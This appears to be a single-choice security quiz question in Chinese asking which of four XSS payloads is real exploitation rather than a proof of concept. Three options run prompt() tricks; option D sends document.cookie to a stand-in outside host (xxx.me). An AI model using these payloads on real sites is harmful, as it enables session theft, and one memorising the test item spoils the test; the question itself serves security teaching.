单选题

哪一个 XSS payload 不是止于概念验证（POC），而...

Question

 哪一个 XSS payload 不是止于概念验证（POC），而是进行了漏洞利用？（）

A. ?a=location.hash.substr(1)#setTimeout("hi.eval('prompt(location.href)')",500)

B. ?a=window.location.hash.substring(1)#Object.defineProperty(navigator,'userAgent',{get:function(){return '<script>prompt(location.href)</script>'}})

C. x=document.writeln(%22%3Ciframe%3E%3C/iframe%3E%22)let%20f=document.querySelector(%27iframe%27)f.contentWindow.prompt(location)

D. ?x=window.open('http://xxx.me:8080/cookie.asp?msg='+document.cookie)